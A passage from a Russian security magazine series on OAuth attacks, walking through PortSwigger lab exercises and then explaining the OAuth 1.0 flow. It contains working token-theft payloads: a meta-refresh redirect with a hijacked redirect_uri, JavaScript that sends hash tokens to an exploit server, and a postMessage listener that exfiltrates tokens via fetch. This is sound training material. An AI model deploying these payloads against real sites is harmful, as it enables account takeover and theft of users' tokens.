протокол и разбираем базовые атаки на OAuth

ЧТО БУДЕТ, ЕСЛИ НЕ ПРОВЕРЯТЬ REDIRECT_URI

Схематичное изображение атаки с подменой redirect_uri

Первый кейс простой.   — это  тот параметр, который говорит

серверу авторизации, на  какой URL ему нужно направить токен после того,
как  пользователь войдет через социальную сеть и  согласится дать доступ
к своим ресурсам.

redirect_uri

Приложение на первом этапе авторизации по OAuth, или, в терминологии
спеки, этапе Authorization Request, формирует ссылку и указывает в качестве
этого параметра подконтрольный ему эндпоинт.

Когда ты входишь через Discord на сайт Midjourney, ссылка выглядит при‐
мерно так:

<https://discord.com/login>
?redirect_to=https://midjourney.com/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-
zsdFLI3lv11Dlz0syNqa-
sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZ
niAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo
-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-
ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7Qg
IiRQCk

    &scope=identify email guilds.join guilds.members.read
role_connections.write
&context_uri=https://www.midjourney.com

В этом запросе говорится о  том, что в  конце флоу сервер авторизации
не только выдает код, но и должен вернуть пользователя на сайт приложения

.midjourney.com/oauth2/authorize
По‑хорошему в  параметре  должен быть вайтлист ссылок,

на  которые можно редиректить. Такие ссылки обычно указывает владелец
приложения, когда его регистрирует. Это  позволяет обрубать запрос, если
кто‑то подставит свой .

redirect_uri

redirect_uri
Если вайтлиста нет, это  создает пространство для  манипуляций. Зло‐

умышленник может взять ссылку из  первого этапа и  заменить в  ней
 подконтрольным ему сервисом, выложить ее где‑нибудь

в социальных сетях и украсть токен после того, как кто‑нибудь уже авторизо‐
ванный в  Discord и  в Midjourney перейдет по  ней (то же справедливо и  для
других пар приложений и OAuth-провайдеров).

redirect_uri

Сейчас мы разберем это подробнее на реальном примере.

Лаба: OAuth account hijacking via redirect_uri
• Лабораторная работа на сайте PortSwigger

Стартуем и оказываемся на главной странице со странной картинкой.

Главная страница блога

Как и  раньше, проходим весь флоу с  логином, чтобы собрать все запросы
и спокойно проанализировать их. Заходим под аккаунтом .wiener

Уведомление об успешном логине

И оказываемся в личном кабинете.

Личный кабинет

Флоу авторизации пройден, переходим в Burp. Находим Authorization Request
(тот запрос на сервер авторизации, на который нас перенаправило приложе‐
ние) и отправляем его в Repeater.

Именно в этой ссылке есть уязвимый , который мы и будем

эксплуатировать.

redirect_uri

Запрос на авторизацию

Уязвимость заключается в том, что в приложении сервера авторизации дол‐
жным образом (вообще никак) не  проверяется . А  это значит,

что, подменив его, мы можем направить пользователя на собственную стра‐
ницу, чтобы залогировать чужой токен.

redirect_uri

Посмотрим, как это происходит на практике. Меняем в нашем запросе тот
URI, который был указан, на адрес эксплоит‑сервера. Он выдается в лабора‐
ториях вроде этой, и его можно найти в верхнем меню.

Кнопка с переходом к эксплоит‑серверу

Переходи туда, копируй ссылку и  вставляй ее в  качестве параметра
.redirect_uri

Ссылка на эксплоит‑сервер

У меня это выглядит так.

Подмена redirect_uri адресом эксплоит‑сервера

Можно нажать правой кнопкой мыши и выбрать Copy URL, чтобы скопировать
всю ссылку и  посмотреть в  браузере, как  произойдет редирект и  в логах
появится наш токен.

Нигде ничего вводить уже не  надо (так как  мы уже вошли на  всех сайтах
и  дали согласие), просто ты прошел цепочку редиректов, и  вот уже токен
залогирован на нашем эксплоит‑сервере или сервере злоумышленника.

OAuth-токен в access-логах

Это наш собственный токен, а нам нужен токен администратора. Так что воз‐
вращаемся на главную страницу эксплоит‑сервера и берем ту же самую раз‐
метку с редиректом, которую мы уже использовали в лабораториях из прош‐
лой статьи. Только на  этот раз меняем URL на  тот, который мы только что
скрафтили, где  ведет на наш сервер.redirect_uri

У меня получилось так.

  

 

<meta http-equiv="refresh" content="0; url=https://
oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/
auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://
exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/
oauth-callback&response_type=code&scope=openid%20profile%20email" />

Вставляем HTML-разметку в поле Body и сохраняем кнопкой Store.

HTML-разметка для эксплоита

Теперь у нас есть страница, на которую может зайти администратор, и тогда
мы украдем его учетку. При  посещении страницы произойдет цепочка
редиректов для авторизации. Поскольку он уже залогинен в социальной сети,
в конце концов он будет перенаправлен на наш сервер, где мы и залогируем
его OAuth-токен из URL.

Нажимаем Deliver exploit to  victim. В зависимости от нагрузки на серверы
PortSwigger запрос может прийти с  небольшой задержкой. Мне пришлось
подождать несколько минут (в течение которых я жал одну и ту же кнопку), и в
конце концов мне прилетело несколько десятков запросов с  токеном адми‐
нистратора.

Много залогированных токенов админа

Копируем последний пришедший токен и  вставляем в  запрос 
. Если все пройдет нормально, сервер должен отдать куки

и показать, что мы залогинены. Так и произошло. Появилась ссылка на панель
администратора, а это значит, что мы не просто зашли, а зашли как админ.

/oauth-
callback

Отправка украденного кода, чтобы получить сессию админа

Заходим через браузер, удаляем пользователя  и  наслаждаемся
победой над еще одной лабой.

carlos

Уведомление об успешном прохождении лабы

ЗЛОУПОТРЕБЛЕНИЕ ОТКРЫТЫМ РЕДИРЕКТОМ В СВЯЗКЕ С OAUTH

Схематичное изображение Open Redirect

Давай кратко вспомним, что вообще такое Open Redirect.

INFO

Open Redirect, или открытое перенаправление, —
это  такая уязвимость, когда веб‑приложение
допускает перенаправить пользователя на  про‐
извольные внешние URL-адреса без  должной
проверки.

Например, у нас есть сайт Google. Он не нуждается в представлении, у него
большой кредит доверия, и  все компании считают, что домен 
безопасный, поэтому дают ему некоторые послабления, добавляя в  собс‐
твенные белые списки.

google.com

Но если злоумышленники найдут на нем Open Redirect, то они смогут вос‐
пользоваться этим доверием и  использовать его, чтобы создать ссылку
на собственный C2-сервер, обходя детектирование некоторых антивирусов.

Вот пример такой ссылки:

https://www.google.com/url?sa=t&url=https://evil.com

Она была  бы уязвимой, если  бы сразу направляла на  указанный сайт.
Хорошим тоном считается предупреждать пользователя, что он покидает
легитимный сайт, и не выполнять редирект без его согласия.

Предупреждение о небезопасном сайте

Сам по себе Open Redirect не очень опасен, кроме пограничного случая, свя‐
занного с  вредоносами, который я описал выше. Но  его часто используют
в  связке с  эксплуатацией других веб‑уязвимостей, когда он становится
по‑настоящему грозным оружием, позволяющим обходить многие фильтры,
заточенные на проверку по регулярке или подстроке.

К примеру, сайт может проверять, что  начинается только

с  . Если на  этом  получится найти Open

Redirect, то можно будет и  пройти проверку, и  эксплуатировать уязвимость,
чтобы украсть токен через OAuth.

redirect_uri
https://example.com example.com

Лаба: Stealing OAuth access tokens via an open redirect
• Лабораторная работа на сайте PortSwigger

Как всегда, открываем лабораторию и попадаем на главную страницу блога.

Главная страница блога

Логинимся через социальную сеть.

Вход через социальную сеть

Смотрим историю запросов, берем Authorization Request и  пытаемся пов‐
торить трюк из  предыдущей лабы  — для  этого заменяем 
каким‑нибудь своим, например адресом эксплоит‑сервера.

redirect_uri

Отправляем запрос и  видим в  ответе текст 

, который означает, что на  этот раз мы не  сможем
так нагло, как раньше, заменить этот параметр и украсть токен.

error: 
redirect_uri_mismatch

Ошибка из‑за того, что сайт сравнивает вставленный URL с вайтлистом

Немного покопавшись на  сайте, находим в  самом низу страницы записи
из блога две ссылки: на предыдущую запись и следующую (если она есть).

Ссылки на предыдущую и следующую статьи

Выглядит ссылка следующим образом:

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
post/next?path=/post?postId=10

Как можно заметить, у нее есть параметр , где указан путь, по которому

нужно сделать редирект. Что, если  бы мы могли попробовать эксплуати‐
ровать здесь Open Redirect и перенаправить пользователя на любой другой
сайт или даже собственный вредоносный сервер?

path

Заменяем  своей ссылкой:redirect_uri

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
post/next?path=https://google.com

Отправляем запрос и снова сталкиваемся с той же самой ошибкой. Видимо,
сервер проверяет не только домен, на который мы редиректим, но и сам путь.

Пейлоад снова не сработал

Путем экспериментов выясняем, что ссылка обязательно должна начинаться
так:

https://<поддомен лабы>.web-security-academy.net/oauth-callback/

Продолжение статьи
→

https://xakep.ru/2024/09/04/oauth-deep-dive-basic/
https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
http://google.com/
https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect


OAUTH ОТ И ДО
ИЩЕМ ЦЕПОЧКИ УЯЗВИМОСТЕЙ

ПРИ АТАКАХ НА АВТОРИЗАЦИЮ

COVERSTORY 
НАЧАЛО СТАТЬИ←

Мы можем дополнительно эксплуатировать Path Traversal, чтобы удовлетво‐
рять правилам. Формируем следующую ссылку и  пытаемся снова отправить
запрос с измененным :redirect_uri

https://<поддомен лабы>.web-security-academy.net/oauth-callback/../
post/next?path=https://google.com

Эксплуатация Open Redirect и Path Traversal

Сработало!
 после  обозначает, что мы переходим на уровень

выше к корню сайта (эксплуатируя Path Traversal);
• /../ oauth-callback

  — используем URL
для  перехода к  следующему посту с  собственным 

, чтобы отправить пользователя на сторонний сайт.

• post/next?path=https://google.com

path=https://

google.com

Копируем полученный URL, открываем в браузере, и вот наш токен прокинул‐
ся на тот сайт, который мы указали.

Редирект с нашим токеном на google.com

Теперь вместо  мы можем поставить ссылку на собственный сер‐

вер и  украсть токен. Но  потребуются еще  небольшие доработки. Можно
заметить, что токен передается не  через привычный GET-параметр после
знака вопроса, а  как якорь (то есть идет после решетки). Обычно серверы
не логируют такие параметры, потому что они предназначены только для бра‐
узера.

google.com

Соответственно, обрабатывается токен только на стороне клиента, и нам
нужно извлечь его. Делать это  мы будем с  помощью простенького кода
на JavaScript.

Вот что будет делать наш скрипт:
1. Если пользователь зашел впервые — отправит его на вход через социаль‐

ную сеть с нашим вредоносным урлом.
2. Если пользователь вернулся по URL, который был указан в первом пункте,

извлекает токен и  отправляет его на  этот же URL, но  уже с  нормально
заданным GET-параметром, который залогируется:

<script>

     if (!document.location.hash) {

        window.location = 'https://
oauth-0ace001a0475a73994506b4c02120084.oauth-server.net/
auth?client_id=woh27no9eqarfla0piito&redirect_uri=https://
0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
oauth-callback/../post/next?path=https://
exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/exploit&
response_type=token&nonce=-958106083&scope=openid%20profile%20email'
     } else {

 1       window.location = '/?'+document.location.hash.substr( )
   }
</script>


Помещаем скрипт на  свой эксплоит‑сервер и  нажимаем Deliver exploit
to victim.

Эксплоит, который перенаправит пользователя и залогирует токен

Ждем пару секунд и проверяем логи, где и находим запрос с токеном.

Токен админа в access-логах

https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/?
access_token=38oaEgDJw-n7e_r_pHnYs6gCsnyQ1R58L4TRG4KKAne&expires_
in=3600&token_type=Bearer&scope=openid profile email


Теперь у  нас есть OAuth-токен администратора. Из  истории запросов
находим запрос к  API . Этот эндпоинт отдает информацию о  владельце
токена.

/me

Запрос /me, который позволяет получить инфу о пользователе

Подставляем в него наш OAuth-токен, получаем информацию о пользователе
(где видно, что мы завладели аккаунтом администратора) и  его API-ключ,
который нужен, чтобы пройти лабораторию.

Делаем запрос на /me с токеном админа и получаем API-ключ

Копируем его, вставляем в Submit solution.

Как сдать флаг

Подтверждаем отправку и принимаем поздравления.

Поздравления с прохождением лабы

ФОРМИРУЕМ ЦЕПОЧКИ БАГОВ ДЛЯ ПОВЫШЕНИЯ ИМПАКТА

Как быть, если мы не смогли найти ни одну из ошибок, о которых я рассказал
выше? Уязвимости типа Open Redirect и CSRF, которые мы эксплуатировали
в комбинации с классическими атаками на OAuth, не единственные, которые
тут могут быть полезны.

У OAuth много возможностей и откровенных багов, которые может исполь‐
зовать злоумышленник, чтобы украсть токен. Однако в случае более сложных
приложений ему (и тебе — как пентестеру) потребуется немного фантазии.

Вот несколько хороших примеров:
  — на  веб‑серверах можно встретить атрибут

, который проставляется сессионной куке, чтобы ее нельзя было
украсть с помощью уязвимостей межсайтового скриптинга. Помни, что код
авторизации OAuth не имеет такой защиты, и ты можешь воспользоваться
этим, чтобы украсть чужой аккаунт. Так ты сможешь повысить импакт
и украсть аккаунт админа, даже если на сервисе используется .

• XSS-уязвимости

httpOnly

httpOnly

  — когда нельзя внедрить полноценный код

на JavaScript или в приложении используется строгая политика CSP, отча‐
иваться не стоит — для кражи кода авторизации может хватить даже прос‐
той инъекции. К примеру, если ты контролируешь ввод атрибута  у эле‐
мента  (то есть ссылку на  картинку), то можно узнать код с  помощью
атрибута  (он сигнализирует, с  какого сайта пришел поль‐
зователь). Некоторые браузеры (вроде Firefox) отправляют  пол‐
ностью при загрузке картинок, включая всю строку запроса.

• HTML-инъекции

src

img

Referer

Referer

, обрабатывающий весь URL или  отдельные
параметры запроса. Тут нужно немного подумать и  раскрутить цепочку,
которая приведет к заветной цели.

• Опасный JavaScript

Сейчас мы на  практике реализуем опасную цепочку гаджетов, где исполь‐
зование  стало фатальным и позволило украсть чужой токен.PostMessage

Как работает PostMessage
PostMessage  — этот механизм, который позволяет безопасно отправлять
кросс‑доменные запросы.

Схематичное изображение работы PostMessage

Обычно доступ к ресурсам на разных страницах разрешен только в том слу‐
чае, если страницы имеют один и  тот же , то есть «происхождение»,

которое определяется по комбинации протокола (например, HTTPS), номера
порта (443 — по умолчанию для HTTPS) и хоста (доменного имени).

origin

Это часть механизма безопасности браузера, которая называется полити‐
кой одного источника (Same-Origin Policy). SOP защищает конечного поль‐
зователя от того, что код в одном окне браузера украдет данные из другого.

PostMessage предоставляет контролируемый механизм, который помогает
обойти это  ограничение безопасным способом (при правильном исполь‐
зовании).

Все работает очень просто,  предполагает два обязательных

компонента:

PostMessage

 — отправляет сообщение;• window.postMessage()

  — используется
для получения и обработки сообщения.

• window.addEventListener(message, callback)

Один метод нужно запрашивать в окне, которое хочет отправить данные, дру‐
гой — в том, которое хочет получить эти данные. Другими словами, это некое
соглашение, которое позволяет обменяться только теми данными, о которых
окна предварительно договорились друг с другом.

Burp Suite и DOM Invader
В Burp Suite есть встроенный браузер с расширением DOM Invader. Оно поз‐
воляет автоматизировать некоторые атаки и  показывать содержимое сооб‐
щений, пересылаемых между окнами с помощью PostMessage.

Чтобы открыть браузер, надо запустить Burp, перейти в  Proxy и  нажать
Open browser.

Открываем модифицированный Chromium

Откроется обычный Chromium, но  с импортированным SSL-сертификатом
от  PortSwigger, включенным прокси‑сервером, который сразу «из коробки»
направляет все запросы в  Burp, и  с расширением DOM Invader, которое
может помочь эксплуатировать XSS, Prototype Pollution и  смотреть содер‐
жимое пост‑месседжей.

Расширение предустановлено, но  может быть выключено по  умолчанию.
Чтобы включить, надо перейти в   и  поставить соот‐

ветствующую галочку.

chrome://extensions/

Расширение Burp Suite должно быть включено

В меню появится значок, который позволяет управлять настройками рас‐
ширения. Нам нужно, чтобы оно работало и  логировало пост‑месседжи,
для этого активируй те же самые пункты, что отмечены у меня на скриншоте.

Эти два переключателя должны быть активны

Теперь можно открыть сайт  (или
любой аналогичный), нажать на  первый тест и  увидеть, как  расширение
залогирует отправленное сообщение.

stevesouders.com/misc/test-postmessage.php

Проверяем, логируются ли пост‑месседжи

Если все так, как у меня на скрине, можно переходить к лабе.

Лаба: Stealing OAuth access tokens via a proxy page
• Лабораторная работа на сайте PortSwigger

Открываем главную сайта, где встречаем многообещающую картинку.

Главная страница блога

По уже обкатанному сценарию заходим в аккаунт , ставший нам род‐

ным.

wiener

Страница подтверждения выдачи доступа к собственным ресурсам

Открываем HTTP History в  Burp, находим Authorization Request, пересылаем
его в Repeater и начинаем экспериментировать.

Для начала попытаемся провернуть тот же самый трюк, к которому мы при‐
бегли в  прошлой лаборатории. Попробуем эксплуатировать старый добрый
Open Redirect, который позволил нам ранее украсть токен администратора.
Заменяем стандартный  знакомым уже пейлоадом с  Path
Traversal и «ссылкой на пост», где вместо поста — .

redirect_uri
google.com

Попытка использовать эксплоит из предыдущей лабы

Отправив запрос, видим, что редирект действительно есть. Это  первичный
признак того, что мы можем использовать эту ссылку, чтобы прокинуть кас‐
томный URL.

Однако, если углубиться, выяснится, что признак обманчивый. Украсть
токен таким способом в  этот раз так просто не  выйдет, поскольку на  сайте
просто нет страницы с переходом к следующему посту из прошлой лабора‐
тории.

Этот эндпоинт больше не существует

А обычный запрос со сторонним сайтом будет говорить о мисматче. Придет‐
ся ковырять сам сайт на наличие нового Open Redirect или какой‑либо другой
уязвимости, которая привела бы нас к написанию рабочего эксплоита.

Если указать ссылку на сторонний сайт, будет ошибка

Если зайти на страницу любого поста из блога и пролистать вниз, то, на пер‐
вый взгляд, ничего нового нет. Но  если присмотреться к  исходному коду
страницы, то можно заметить необычный iframe, внутри которого живет фор‐
ма для  отправки комментария. Раньше это  была нативная форма,
без каких‑либо фреймов.

Необычный iframe с отправкой комментария

Iframe ведет на другую страницу этого же сайта. Откроем ее по прямой ссыл‐
ке (для этого просто нужно взять атрибут  и вставить в адресную строку)
и глянем ее исходник.

src

Отдельная страница с формой

На странице есть следующий код на JavaScript:

    parent.postMessage({type: 'onload', data: window.location.href}, '*')
   function submitForm(form, ev) {

   ev.preventDefault();
       const formData = new FormData(document.getElementById("
comment-form"));
       const hashParams = new URLSearchParams(window.location.hash.
substr(1));
      const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
       parent.postMessage({type: 'oncomment', content: o}, '*');
   form.reset();
}

Разберемся, что он делает. Сначала вызывается вот такой метод:

    parent.postMessage({type: 'onload', data: window.location.href}, '*')

Он означает, что после загрузки страницы нужно отправить сообщение
 родительскому окну (если оно существует) с  текущим URL страницы

( ) в ключе .

onload
window.location.href data

Дальше следует функция , которая, как  можно догадаться,

отвечает за  отправку формы. Давай пройдемся по  каждой строке и  пос‐
мотрим, что она делает.

submitForm

ev.preventDefault()

Эта строка предотвращает стандартное действие браузера по отправке фор‐
мы.

    const formData = new FormData(document.getElementById("comment-form"
));

Здесь создается объект , который содержит данные из  формы
с идентификатором .

FormData
comment-form

    const hashParams = new URLSearchParams(window.location.hash.substr(1
));

Создается объект , который содержит параметры
из хеш‑части URL (всё после решетки).

URLSearchParams

   const o = {};

Создается пустой объект .o

     formData.forEach((v, k) => o[k] = v);

Эта строка заполняет объект  данными из формы.o

     hashParams.forEach((v, k) => o[k] = v);

В объект  добавляются параметры из хеш‑части URL.o

    parent.postMessage({type: 'oncomment', content: o}, '*');

Продолжение статьи
→

https://stevesouders.com/misc/test-postmessage.php
https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page
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Этот метод отправляет сообщение родительскому окну с  типом 
и содержимым данных из формы, вместе с параметрами хеша.

oncomment

И наконец,  сбрасывает форму, очищая все ее поля.form.reset()
Если всё обобщить, то происходит следующее. На  страницу загружается

iframe, внутри  — поля для  отправки комментария. Когда пользователь их
заполняет и  нажимает Send Comment, в  родительское окно возвращается
содержимое формы, а оттуда данные отправляются на эндпоинт ,
который и публикует сам комментарий.

send_form

Когда загружается iframe, в  родительское окно еще  отсылается событие
о том, что он успешно загружен, и ссылка, по которой он находится.

{
    "type": "onload",
    "data": "https://0a9f003904c4085282b56f10003b00c8.
web-security-academy.net/post/comment/comment-form#postId=3"
}

Потом «наверх» отправляется уже содержимое самого комментария.

{
    "type": "oncomment",
    "content": {

        "comment": "asdsad",
        "name": "sadasd",
        "email": "test@gmail.com",
        "website": "https://google.com",
        "postId": "3",

        "csrf": "NoBM8Fn9Jf1nQ9GNcTtNzqDpxyfW8oTP"
   }
}

Эти же сообщения можно увидеть в DOM Invader.

Пример пост‑месседжей, которые отправляются в родительское окно
с урлом и токеном

В жизни ты именно такой кейс вряд ли встретишь, так как обычно коммента‐
рии отправляет нативная форма и прослойка в виде отдельного iframe здесь
явно не нужна. Но в рамках лаборатории нам подготовили испытание, чтобы
мы могли научиться комбинировать подобные особенности в удачные атаки.
Разработчики порой пишут странный код, и  мы должны уметь использовать
его в своих целях.

Как же использовать эту форму? Ключевое для  нас  — событие ,

при обработке которого в родительское окно возвращается URL, включая ту
часть, которая идет после знака . Кроме того, домен родительского окна

не проверяется.

onload

#

Как ты помнишь, OAuth-токен возвращается тоже после знака , а это зна‐
чит, что если мы укажем в  качестве  ссылку на  эту форму, то

в  итоге сможем получить токен из  пост‑месседжа в  родительском окне.
В качестве родительского окна будет выступать наш эксплоит‑сервер, где мы
и перехватим токен.

#
redirect_uri

Перейдем в  Burp Repeater и  заменим  ссылкой на  форму

с  комментарием, не  забывая использовать Path Traversal из  предыдущего
задания (иначе сервер не примет ссылку).

redirect_uri

Эксплуатируем Path Traversal, указывая ссылку на форму

Откроем ссылку и увидим цепочку редиректов, которая приводит нас на фор‐
му с  отправкой комментария, и  OAuth-токеном в  URL. Форма берет URL
и направляет его в родительское окно, которого пока что у нас нет.

Цепочка редиректов привела на форму с комментариями, в урле про‐
кинулся токен

Переходим к  эксплоит‑серверу и  пишем код, который открывает наш прош‐
лый URL в iframe.

Размещаем iframe

Нажимаем на Store и сталкиваемся с непонятной ошибкой.

Ошибка с нерабочим iframe

Сталкивался с этой ошибкой не я один, и на форуме PortSwigger были свежие
темы, где люди жаловались на то же самое.

Сообщения на форуме PortSwigger

Как выяснилось, Chrome в новых версиях по умолчанию блокирует сторонние
куки, и, чтобы пройти лабораторию, придется добавить домен эксплоит‑сер‐
вера в  исключения браузера. Для  этого перейди в  раздел настроек Privacy
and  security и  вставь в  Site allowed to  use third-party cookies домен экспло‐
ит‑сервера.

Должно получиться, как у меня на скриншоте.

Как добавить сайт в исключение для сторонних кук

Возвращаемся обратно к эксплоит‑серверу.

Страница эксплоит‑сервера

Добавим еще небольшой JavaScript-код, который просто создает так называ‐
емый listener («слушатель»), цель которого — принять PostMessage от дочер‐
него окна и вывести его содержимое в консоль.

<script>
     window.addEventListener('message', function(e) {
       console.log(e.data)
    }, false)
</script>

Код — на скриншоте ниже.

Код, который залогирует пришедшее из дочернего окна сообщение

Посмотрим, что получилось. Открываем Exploit Server.

Сообщение с токеном в консоли

И видим, как в консоли отображается URL с нашим токеном. Теперь нам надо
научиться кодировать данные (так как всё, что идет после решетки, не логиру‐
ется, и нам надо исправить это) и делать редирект на эксплоит‑сервер, чтобы
данные оседали в  access-логе, откуда мы их сможем забрать (тот самый
access-токен администратора).

Эти же данные можно увидеть в DOM Invader.

Данные, которые перехватило расширение от PortSwigger

Теперь меняем  на  .console.log fetch

<script>
     window.addEventListener('message', function(e) {

         fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

Обновляем код на эксплоит‑сервере.

Финальный эксплоит

Открываем сайт и  видим, как  вместо того, чтобы сохранить сообщение
в логах, из него извлечен URL и отправлен прямо к нам на эксплоит‑сервер,
с использованием URL-кодирования.

Мы получили URL с токеном и сделали так, чтобы он осел в логах

Теперь, если глянуть в логи, можно увидеть там же эту ссылку.

Наш собственный токен в access-логах

Направляем администратора на нашу страницу и смотрим за новыми логами.

Токен администратора в логах

Копируем ссылку, которая там появилась, и декодируем ее в Decoder.

Декодируем ссылку

Берем токен и отправляем на эндпоинт ./me

Получаем API-ключ администратора

А вот и API-ключ администратора! Лаба пройдена.

ВЫВОДЫ

В этой статье мы познакомились с  технологией PostMessage и  разобрали,
как  комбинировать разные баги в  OAuth, чтобы устраивать более прод‐
винутые атаки и повышать импакт.

Но не  стоит останавливаться на  одном только OAuth. В  заключительной
статье из этой серии мы узнаем о надстройке над ним, которая более стан‐
дартизирована и призвана решить часть проблем, но по‑прежнему не лишена
уязвимостей.

Кроме того, мы составим чек‑лист для пентеста и научимся автоматизиро‐
вать поиск багов.
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OpenID Connect  — это  переосмысление
протокола OAuth, призванное решить проб‐
лему с  аутентификацией и  закрыть белые
пятна в  исходном спеке, сделав стандарт
строже и требовательнее. Но люди все рав‐
но допускают ошибки, и  случаются мис‐
конфиги, ведущие к  уязвимостям. В  этой
статье я разберу проблемы OpenID
Connect и  покажу их эксплуатацию на  при‐
мере лабы PortSwigger.

INFO

Это заключительная часть цикла статей о  про‐
токоле авторизации OAuth. Читай также статьи
«

» и «

».

OAuth от  и до. Изучаем протокол и  разбираем
базовые атаки на OAuth OAuth от и до. Ищем
цепочки уязвимостей при  атаках на  авториза‐
цию

РАЗНИЦА МЕЖДУ OAUTH 1.0 И OAUTH 2.0

Прежде чем мы перейдем к OpenID Connect, давай немного откатимся назад
и выясним, в чем же все‑таки разница между OAuth 1.0 и OAuth 2.0 и почему
нам приходится разбирать несколько итераций протокола. Для этого привыч‐
ным образом посмотрим флоу, на  этот раз устаревшего OAuth 1.0  — того
самого, с которого все и началось в Twitter.

Признаться честно, инфу было найти сложновато, так как первую версию
очень быстро вытеснил OAuth 2.0. Однако чтиво реально интересное  —
перед подготовкой статьи я спрашивал коллег, и никто из них даже и не думал
о том, как работал первый протокол и почему от него отказались.

Схема работы OAuth 1.0

Здесь у нас снова немного изменился нейминг, обозначим все стороны:
1. User — это пользователь.
2. Consumer (потребитель)  — приложение, которое хочет получить доступ

к ресурсам пользователя.
3. Service Provider (поставщик услуг) — приложение, которое предоставляет

доступ к ресурсам пользователя.

Как можно с ходу заметить, сервера авторизации, который есть в OAuth 2.0,
здесь нет.

Получение Request Token
Первый запрос после того, как  пользователь захотел воспользоваться
OAuth,  — от  потребителя к  сервис‑провайдеру. Он нужен на  первом этапе,
поскольку прежде, чем приложение сможет запросить авторизацию у  поль‐
зователя, оно должно получить токен запроса  — Request Token. Этот токен
идентифицирует конкретный запрос авторизации, и его не получится исполь‐
зовать для доступа к ресурсам.

Поскольку Twitter на момент написания статьи все еще поддерживает этот
протокол, рассмотрим именно на примере логина в этот сервис. Пример зап‐
роса на получение реквест‑токена:

POST /oauth/request_token HTTP/1.1

Host: [api.twitter.com](http://api.twitter.com/)


Authorization: OAuth oauth_callback="https%3A%2F%[2Fwww.example.com](
http://2fwww.example.com/)%2Foauth%2Fcallback%2Ftwitter",

oauth_consumer_key="cChZNFj6T5R0TigYB9yd1w",

oauth_nonce="ea9ec8429b68d6b77cd5600adbbb0456",

oauth_signature_method="HMAC-SHA1",

oauth_timestamp="1318467427",

oauth_version="1.0",

oauth_signature="qCMIWvfCvmP0ZsfWGTPnuaPXsQE%3D"


Все эти параметры (за исключением ) мы видим впервые.
Кроме того, они передаются в  Authorization-заголовке вместо привычных
GET- и POST-параметров. Вот за что они отвечают:

oauth_callback

  — URL, на  который сервис‑провайдер перенаправит
пользователя после завершения взаимодействия с  ним. Раньше такого
параметра не было, он появился в OAuth 1.0a;

• oauth_callback

  — идентифицирует приложение для  сервис‑про‐
вайдера. Назначается при регистрации приложения;

• oauth_consumer_key

 — случайная строка, уникальная для каждого запроса, нуж‐
на, чтобы предотвратить replay-атаки;

• oauth_nonce

  — метод, с  помощью которого подписыва‐
ются отправляемые данные;

• oauth_signature_method

  — количество секунд, прошедшее с  1  янва‐
ря 1970 года 00:00:00 GMT;

• oauth_timestamp

 — версия OAuth, которая будет использоваться во всем
процессе;

• oauth_version

  — криптографическая подпись, которая нужна
для аутентификации запроса. Автоматически генерируется потребителем
на основе его секрета.

• oauth_signature

Сам механизм подписи довольно прост.

К каким данным применяется HMAC

Если ты хоть немного знаком с HMAC, то знаешь, что это криптографически
безопасная (то есть необратимая) комбинация определенной строки
с общим секретом. Все отправляемые данные конкатенируются, и к ним при‐
меняется HMAC с  секретом, который известен потребителю и  сервис‑про‐
вайдеру ( ).oauth_consumer_secret

В качестве функции может использоваться HMAC-SHA-1, RSA-SHA-
1 или любая другая, которую заранее обговорят потребитель и сервис‑про‐
вайдер, спецификация это не регламентирует.

Выдача неавторизованного токена OAuth
После того как  Twitter получил запрос, он должен аутентифицировать при‐
ложение. Для  этого он проверяет, что подпись была создана соответству‐
ющим ключом потребителя и его секретом. Если все сошлось, Twitter генери‐
рует токен OAuth вместе с секретом и отдает их в ответе:

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded


oauth_token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0&

oauth_callback_confirmed=true


Здесь всего два параметра:
 — неавторизованный токен OAuth. Пока он не авторизован

пользователем, он бесполезен. После того как  пользователь его авто‐
ризует, его можно будет обменять на токен доступа, или access-токен;

• oauth_token

  — флаг, установленный в  значение ,
чтобы указать, что сервис‑провайдер получил URL, на  который нужно
перенаправить пользователя. Появился в  OAuth 1.0a, нужен, чтобы
не допустить атаку session fixation.

• oauth_callback_confirmed true

Редирект пользователя на service-провайдер
Потребитель не может использовать токен OAuth до тех пор, пока тот не авто‐
ризован. Чтобы его авторизовать, он направляет пользователя по  ссылке
на сервис‑провайдер, где единственный параметр — тот самый токен из пре‐
дыдущего шага.

HTTP/1.1 302 Found

Location: https://api.twitter.com/oauth/authenticate?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0


Браузер пользователя следует редиректу и отправляет примерно такой зап‐
рос на страницу Twitter:

GET /oauth/authenticate?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0 HTTP/1.1

Host: api.twitter.com


Аутентификация пользователя и получение согласия
Сервис‑провайдер получает этот запрос, проверяет личность пользователя
и  запрашивает его согласие на  предоставление доступа к  ресурсам. Спе‐
цификация не  определяет, как  именно он должен аутентифицировать поль‐
